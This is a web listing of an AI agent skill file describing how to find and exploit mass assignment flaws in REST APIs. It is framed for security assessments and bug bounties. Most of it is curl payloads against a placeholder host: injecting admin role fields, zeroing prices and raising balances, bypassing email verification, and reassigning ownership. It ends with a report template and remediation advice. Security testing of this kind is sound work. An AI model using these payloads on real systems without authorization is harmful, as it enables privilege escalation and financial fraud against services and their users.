Agent skill

exploiting-mass-assignment-in-rest-apis

Discover and exploit mass assignment vulnerabilities in REST APIs to escalate privileges, modify restricted fields, and bypass authorization controls by injecting unexpected parameters in API requests.

View SKILL.md on GitHub Repository
Stars 0
Forks 0

Install this agent skill to your Project

npx add-skill https://github.com/autohandai/community-skills/tree/main/exploiting-mass-assignment-in-rest-apis

SKILL.md

Exploiting Mass Assignment in REST APIs

When to Use

  • When testing REST APIs that accept JSON input for creating or updating resources
  • During API security assessments of applications using ORM frameworks (Rails, Django, Laravel, Spring)
  • When testing user registration, profile update, or account management endpoints
  • During bug bounty hunting on applications with CRUD API operations
  • When evaluating role-based access control implementation in API-driven applications

Prerequisites

  • Burp Suite or Postman for API request crafting and interception
  • Understanding of ORM auto-binding behavior in common frameworks
  • API documentation or endpoint discovery through reconnaissance
  • Multiple user accounts with different privilege levels for testing
  • Knowledge of common sensitive fields (role, isAdmin, verified, balance, price)
  • Arjun or param-miner for hidden parameter discovery

Workflow

Step 1 — Discover API Structure and Fields

bash
# Examine API responses to identify all object fields
curl -H "Authorization: Bearer USER_TOKEN" http://target.com/api/users/me | jq .
# Response reveals fields: id, username, email, role, isAdmin, verified, balance

# Check API documentation for exposed schemas
curl http://target.com/api/docs
curl http://target.com/swagger.json
curl http://target.com/openapi.yaml

# Use Arjun for hidden parameter discovery
arjun -u http://target.com/api/users/me -m JSON -H "Authorization: Bearer USER_TOKEN"

# Examine create/update request body vs response body
# The response may contain more fields than the request sends
# Those extra fields are mass assignment candidates

Step 2 — Test Privilege Escalation via Role Fields

bash
# Inject role/admin fields in profile update
curl -X PUT http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"username":"testuser","email":"test@test.com","role":"admin"}'

# Try common admin field names
curl -X PATCH http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"isAdmin":true}'

curl -X PATCH http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"is_admin":true,"admin":true,"role":"superadmin","user_type":"admin","privilege_level":99}'

# Test during registration
curl -X POST http://target.com/api/register \
  -H "Content-Type: application/json" \
  -d '{"username":"newadmin","password":"pass123","email":"admin@evil.com","role":"admin","isAdmin":true}'

Step 3 — Test Financial and Business Logic Fields

bash
# Modify price or balance fields
curl -X POST http://target.com/api/orders \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"product_id":1,"quantity":1,"price":0.01}'

# Modify account balance
curl -X PATCH http://target.com/api/wallet \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"balance":999999}'

# Modify discount or coupon fields
curl -X POST http://target.com/api/checkout \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"cart_id":123,"discount_percent":100,"coupon_code":"NONE"}'

# Modify subscription tier
curl -X PATCH http://target.com/api/subscription \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"plan":"enterprise","price":0}'

Step 4 — Test Verification and Status Fields

bash
# Bypass email verification
curl -X PATCH http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"email_verified":true,"verified":true,"active":true}'

# Modify account status
curl -X PATCH http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"status":"active","banned":false,"suspended":false}'

# Modify ownership/organization
curl -X PATCH http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"organization_id":"target-org-uuid","team_id":"admin-team"}'

Step 5 — Test Relationship and Foreign Key Manipulation

bash
# Change resource ownership
curl -X PATCH http://target.com/api/documents/123 \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"owner_id":"admin-user-id"}'

# Assign to different group/team
curl -X PATCH http://target.com/api/projects/456 \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"team_id":"privileged-team","access_level":"write"}'

# Modify created_at/updated_at for audit log manipulation
curl -X PATCH http://target.com/api/entries/789 \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"created_at":"2020-01-01","created_by":"other-user-id"}'

Step 6 — Automate Mass Assignment Testing

bash
# Use Burp Intruder with field names wordlist
# Wordlist of common mass assignment fields:
# role, admin, isAdmin, is_admin, user_type, privilege, level
# verified, email_verified, active, banned, suspended
# balance, credits, price, discount, plan, tier
# owner_id, organization_id, team_id, group_id

# Python automation script
python3 mass_assignment_tester.py \
  --url http://target.com/api/users/me \
  --method PATCH \
  --token "Bearer USER_TOKEN" \
  --fields-file mass_assignment_fields.txt

# Nuclei mass assignment templates
echo "http://target.com" | nuclei -t http/vulnerabilities/generic/mass-assignment.yaml

Key Concepts

Concept Description
Mass Assignment ORM auto-binding of request parameters to model attributes without restriction
Autobinding Framework feature that maps HTTP parameters directly to object properties
Allowlist Server-side list of permitted fields for update operations (strong_parameters in Rails)
Denylist List of forbidden fields (less secure than allowlist approach)
Hidden Fields Server-managed fields (role, balance) not shown in forms but accepted by API
DTO (Data Transfer Object) Pattern using separate objects for input vs. database to prevent mass assignment
Parameter Pollution Sending unexpected extra parameters alongside legitimate ones

Tools & Systems

Tool Purpose
Burp Suite API request interception and parameter injection
Postman API testing and collection-based mass assignment testing
Arjun Hidden parameter discovery tool for API endpoints
param-miner Burp extension for discovering hidden parameters
OWASP ZAP Automated API scanning with parameter injection
swagger-codegen Generate API clients from OpenAPI specs for testing

Common Scenarios

  1. Admin Privilege Escalation — Inject "role":"admin" or "isAdmin":true in profile update to gain administrative access
  2. Price Manipulation — Modify price or discount fields in order creation endpoints to purchase items at reduced cost
  3. Email Verification Bypass — Set email_verified:true during registration or profile update to bypass verification requirements
  4. Account Takeover — Modify email or phone fields to attacker-controlled values, then trigger password reset
  5. Subscription Upgrade — Inject plan:"enterprise" in subscription update to gain premium features without payment

Output Format

## Mass Assignment Vulnerability Report
- **Target**: http://target.com/api/users/me
- **Method**: PATCH
- **Framework**: Ruby on Rails (detected via X-Powered-By)

### Findings
| # | Endpoint | Injected Field | Original | Modified | Impact |
|---|----------|---------------|----------|----------|--------|
| 1 | PATCH /api/users/me | role | "user" | "admin" | Privilege Escalation |
| 2 | POST /api/orders | price | 99.99 | 0.01 | Financial Loss |
| 3 | PATCH /api/users/me | email_verified | false | true | Verification Bypass |

### Remediation
- Implement allowlist (strong_parameters) for all model update operations
- Use DTOs/ViewModels to decouple API input from database models
- Apply field-level authorization checks on sensitive attributes
- Log and alert on attempts to modify restricted fields

Recommended Agent Skills

Expand your agent's capabilities with these related and highly-rated skills.

autohandai/community-skills

mapping-mitre-attack-techniques

Maps observed adversary behaviors, security alerts, and detection rules to MITRE ATT&CK techniques and sub-techniques to quantify detection coverage and guide control prioritization. Use when building an ATT&CK-based coverage heatmap, tagging SIEM alerts with technique IDs, aligning security controls to adversary playbooks, or reporting threat exposure to executives. Activates for requests involving ATT&CK Navigator, Sigma rules, MITRE D3FEND, or coverage gap analysis.

0 0
Explore
autohandai/community-skills

hunting-for-spearphishing-indicators

Hunt for spearphishing campaign indicators across email logs, endpoint telemetry, and network data to detect targeted email attacks.

0 0
Explore
autohandai/community-skills

analyzing-malicious-url-with-urlscan

URLScan.io is a free service for scanning and analyzing suspicious URLs. It captures screenshots, DOM content, HTTP transactions, JavaScript behavior, and network connections of web pages in an isolat

0 0
Explore
autohandai/community-skills

implementing-zero-standing-privilege-with-cyberark

Deploy CyberArk Secure Cloud Access to eliminate standing privileges in hybrid and multi-cloud environments using just-in-time access with time, entitlement, and approval controls.

0 0
Explore
autohandai/community-skills

implementing-pam-for-database-access

Deploy privileged access management for database systems including Oracle, SQL Server, PostgreSQL, and MySQL. Covers session proxy configuration, credential vaulting, query auditing, dynamic credentia

0 0
Explore
autohandai/community-skills

detecting-t1003-credential-dumping-with-edr

Detect OS credential dumping techniques targeting LSASS memory, SAM database, NTDS.dit, and cached credentials using EDR telemetry, Sysmon process access monitoring, and Windows security event correlation.

0 0
Explore

Didn't find tool you were looking for?

Be as detailed as possible for better results